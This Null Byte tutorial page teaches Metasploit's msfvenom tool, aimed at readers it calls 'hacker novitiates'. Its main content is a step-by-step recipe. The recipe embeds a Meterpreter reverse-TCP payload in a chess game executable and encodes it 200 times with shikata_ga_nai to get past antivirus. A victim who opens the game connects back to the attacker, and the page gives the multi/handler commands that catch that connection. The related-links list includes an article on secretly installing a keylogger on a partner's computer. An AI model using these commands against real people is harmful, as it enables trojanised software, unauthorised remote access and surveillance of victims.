Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 5 (Msfvenom) « Null Byte :: WonderHowTo

Welcome back, my hacker novitiates!Eluding andevading antivirus softwareand intrusion detection systems is one of the most critical tasks of the hacker. As soon as a new exploit is developed and discovered, the AV and IDS developers build a signature for the attack, which is then likely to be detected and prevented.One obvious way around this problem is to develop your own exploits, and that is what we have begun to do in ourExploit Buildingseries. Another potential method is to change the encoding, thereby changing the signature of the exploit and/orpayload.Previously, to re-encode a payload inMetasploit, you had to pipe msfpayload through the msfencode command as shown inthis tutorial. Recently, Rapid7, the developers of Metasploit, introduced a new command that takes the place of the clunky combination of msfpayload and msfencode to streamline the process of re-encoding a Metasploit payload. Let's take a look at it in this guide.A Quick Note About Re-Encoding PayloadsRe-encoding a Metasploit payload used to work for evading AV and other security devices, but the people who develop AV software are not dumb. They have now found ways to detect even a re-encoded payload from Metasploit.Now, rather than just look for the signature of the payload you have encoded, they simply look for the signature of the template that Metasploit uses to re-encode. In this way, no matter how many different encoding schemes you use, the template is the same and the AV software has its signature.Don't fret though, there are still ways to re-encode a payload that are still undetectable by AV software. I will be starting a new series soon on evading AV software where I will demonstrate many of the ways, so stay tuned for that.Step 1: Fire Up Kali & Start MetasploitLet's start by firing upKaliand opening the msfconsole. You can do that by simply typing "msfconsole," or you can use the GUI and go to Applications -> Kali Linux -> Top 10 Security Tools -> Metasploit Framework. When you do so, you will find yourself in this interactive Metasploit shell.Step 2: See the Msfvenom OptionsNow, at the prompt, type "msfvenom" to pull up its help page (you can also use the-hswitch).msf > msfvenomLet's take a look at some of the most important options in this list.-pdesignates the Metasploit payload we want to use-edesignates the encoder we want to use-adesignates the architecture we want to use (default is x86)-sdesignates the maximum size of the payload-idesignates the number of iterations with which to encode the payload-xdesignates a custom executable file to use as a templateStep 3: List the EncodersEncoders are the various algorithms and encoding schemes that Metasploit can use to re-encode the payloads. Metasploit has numerous encoding schemes, and we can look at these by typing:msf > msfvenom -l encodersMetasploit will then list all of the available encoders with each's rank and description. Below, I have highlighted theshikata_ga_naiencoder that we used in aprevious tutorial. Note thatshikata_ga_naiis ranked "excellent."Step 4: View the Payload OptionsWe can use msfvenom to check the options that we need to set for any payload similar to "show options" in the Metasploit console. The command to check any payload's options is:msf > msfvenom -p <payload name> -oSo, if we want to check the options for thewindows/meterpreter/reverse_tcppayload, we simply type:msf >msfvenom -p windows/meterpreter/reverse_tcp -0When we do so, Metasploit responds like below.So, if we want to work with this payload, we now know what options we need to set in the msfvenom command.Step 5: Create a Custom Windows ExecutableNow, let's create a custom Windows executable with a custom template. Although we can create a payload without a custom template, we have a better chance of getting past security devices and AV if we use a custom template. In this case, we will use a chess game named "chess.exe." The idea here is that we will embed the meterpreter payload into the chess game and then, when the victim opens the game to play chess, it will open a meterpreter session on our system.I have placed the chess game in the/usr/sharedirectory.To create a malicious executable with thewindows/meterpreter/reverse_tcpembedded inside, we simply type:msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <your local IP> LPORT=<whatever port you want to listen on> -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe-p /windows/meterpreter/reverse_tcpdesignates the payload we want to embedLHOSTdesignates the local hostLPORTdesignates the port we want to listen on-xdesignates the template we want to use and the path to it-e x86/shikata_ga_naidesignates the encoder we want to use-i 200represents the number of iterations-f exedesignates we want to create an executable (.exe)chess.exedesignates the name of the file createdWhen the victim clicks on the chess.exe file, the meterpreter payload will be activated and will look to make a connection back to your system (LHOST). For the connection to succeed, you will need to open the multi-handler in Metasploit to receive the connection.msf >use exploit/multi/handlermsf > set payload windows/meterpreter/reverse_tcpThis new command in Metasploit, msfvenom, can streamline the process of re-encoding and embedding payloads, but is no guarantee for getting past AV software any longer. I will be starting a new series on evading AV software soon with the latest techniques, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover images via Shutterstock (1,2)RelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training